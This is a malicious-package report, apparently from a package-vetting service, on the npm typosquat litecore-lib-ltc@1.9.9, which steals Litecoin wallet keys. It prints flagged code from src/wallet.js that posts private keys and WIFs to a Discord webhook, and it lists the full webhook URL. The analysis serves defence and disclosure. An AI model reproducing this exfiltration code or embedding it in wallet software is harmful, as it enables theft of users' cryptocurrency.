litecore-lib-ltc@1.9.9
Litecoin utility functions for transaction creation, signing, and broadcasting.
OpenSSF/OSV Malicious Advisory
imported 3d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18442 confirms this npm version as malicious.
Advisory
MAL-2026-18442
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in litecore-lib-ltc (npm)
Details
Malicious package. `litecore-lib-ltc` is a typosquat of the legitimate `litecore-lib` Litecoin library. It harvests Litecoin wallet keys and addresses, uses the public BlockCypher API (api.blockcypher.com) to identify which harvested addresses are funded, and exfiltrates the stolen wallet material to an attacker-controlled Discord webhook. Classification: cryptocurrency-wallet information stealer. The package provides no legitimate functionality distinct from this theft, so all published versions are malicious. Full indicators (including the complete webhook URL) are published at the reference below.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
Wallet construction is coded to send the supplied WIF and private key to a fixed Discord webhook, but the function normally throws because `axios` is not bound in its scope. This is a serious credential-exfiltration risk under some host environments, so the package is suspicious rather than confirmed malicious.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
Calling `new LitecoinWallet(wif)`; the constructor invokes the logging branch automatically.
Impact
If the host application exposes a global `axios`, the wallet's recovery credential and private key can be disclosed, allowing control of the wallet. In a standard environment, construction throws before sending.
Mechanism
The branch posts the WIF, private key, and address to `discord.com` using `axios.post`. In the standard module scope, `axios` is unbound there; it is required only locally within `getBalance`.
AI rationale
Wallet construction is coded to send the supplied WIF and private key to a fixed Discord webhook, but the function normally throws because `axios` is not bound in its scope. This is a serious credential-exfiltration risk under some host environments, so the package is suspicious rather than confirmed malicious.
Evidence
src/index.jssrc/wallet.js
Network endpoints1
discord.com/api/webhooks/1477797533999956131/xMuQGOdbHRM6knCPHxXdIlN8FsmE0mSkSdFms-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u
Independent scan evidence
public snapshotAI called this Suspicious at 96.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
- `isValidAddress` posts the WIF, private key, and address to a fixed Discord webhook when its `log` argument is true.
- The `LitecoinWallet` constructor passes its WIF and derived private key to that logging branch by default.
- The `axios` import is scoped inside `getBalance`; `wallet.js` does not bind it at module scope, so the webhook call normally fails unless the application provides a global `axios`.
Evidence against
- The package has no install or postinstall hook; its main entry is `src/index.js`.
- Without a global `axios`, constructing a wallet reaches an unbound identifier and throws before the webhook request can be made.
- The package otherwise provides Litecoin wallet and transaction utilities, with requests to BlockCypher and CoinGecko.
Behavioral surface
Network
HighEntropyStringsUrlStrings
Source & flagged code
7 flaggedsrc/wallet.jsView file
3function fromWIF(wif) {
L4: const privateKey = new bitcore.PrivateKey(wif);
L5: const address = privateKey.toAddress().toString();
...
L19: if (log) {
L20: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L21: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Critical
Hardcoded Runtime Data Exfiltration
Source sends credentials or rich application records to a package-controlled external receiver enabled by default.
src/wallet.jsView on unpkg · L33function fromWIF(wif) {
L4: const privateKey = new bitcore.PrivateKey(wif);
L5: const address = privateKey.toAddress().toString();
...
L19: if (log) {
L20: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L21: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Critical
Credential Exfiltration
Source appears to send environment or credential material to an external endpoint.
src/wallet.jsView on unpkg · L33Trigger-reachable chain: manifest.main -> src/index.js -> src/wallet.js
L3: function fromWIF(wif) {
L4: const privateKey = new bitcore.PrivateKey(wif);
L5: const address = privateKey.toAddress().toString();
...
L19: if (log) {
L20: axios.post('https://discord.[redacted]-jNihGyLz3rRKI7c9N2oYSRPOFGwE5u', {
L21: content: address.wif, address: address.addy, privateKey: address.pk.toString(),
Findings
3 Critical4 High2 Medium3 Low
CriticalHardcoded Runtime Data Exfiltrationsrc/wallet.js
CriticalCredential Exfiltrationsrc/wallet.js
CriticalTrigger Reachable Dangerous Capabilitysrc/wallet.js
HighFixed Authenticated Webhook Data Exfiltrationsrc/wallet.js
HighTrigger Reachable Credential Exfiltrationsrc/wallet.js
HighAi Review Evidencesrc/wallet.js
HighAi Review Evidencesrc/index.js
MediumNetwork
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to litecore-lib-ltc@1.9.9.
See all versions of litecore-lib-ltc for other recorded verdicts.
- Avoid installing litecore-lib-ltc@1.9.9. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.